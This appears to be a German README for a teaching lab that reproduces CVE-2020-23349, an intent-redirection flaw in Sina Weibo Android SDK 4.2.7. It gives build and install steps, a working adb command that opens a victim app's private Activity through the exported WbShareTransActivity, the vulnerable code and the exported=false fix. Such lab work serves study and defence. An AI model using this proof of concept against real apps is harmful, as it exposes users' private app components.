
Pädagogisches Android-Labor für CVE-2020-23349 in Sina Weibo SDK 4.2.7
Ein Lehrprojekt zur lokalen Reproduktion der Intent-Redirection-Schwachstelle im Sina-Weibo-Android-SDK 4.2.7.
Nur auf autorisierten Testgeräten oder Emulatoren verwenden. Nicht gegen echte Benutzer-Apps einsetzen.
victim: Die verwundbare App mit dem eigentlichen openDefault-4.2.7.aarattacker: Die Angreifer-App, die die exportierte WbShareTransActivity aufruftvictim/.../PrivateActivity: Das Ziel der Reproduktion mit android:exported="false"Der verwundbare Ablauf ist wie folgt:
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
Android SDK 36 und JDK 17 sind erforderlich.
./gradlew clean assembleDebug
Erzeugte Dateien:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity.EXPLOIT SUCCESS erscheint, war die Reproduktion erfolgreich.Sie können die Reproduktion auch direkt per ADB durchführen.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
Das SDK 4.2.7 vertraut den startActivity- und gotoActivity-Zeichenketten im externen Intent und verwendet sie wie folgt:
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
Da this der Context der Victim-App ist, behandelt Android dies so, als ob die Victim-App ihre eigene private Activity ausführt.
Da moderne Android-Builds eine explizite Angabe von android:exported erfordern, hat dieses Projekt in der Datei victim/AndroidManifest.xml explizit true gesetzt, um den impliziten exported-Zustand der früheren SDKs zu reproduzieren.
Setzen Sie in Übungen ohne Freigabefunktionen den folgenden Wert auf false und bauen Sie erneut.
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
Wenn Sie anschließend denselben Angriff ausführen, wird er durch eine SecurityException blockiert. In realen Produkten sollte das Weibo SDK 4.x entfernt und auf die neueste Wartungsversion aktualisiert werden.
Das enthaltene AAR stammt aus dem 4.2.7-Commit des offiziellen öffentlichen Sina-Weibo-Repositorys.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar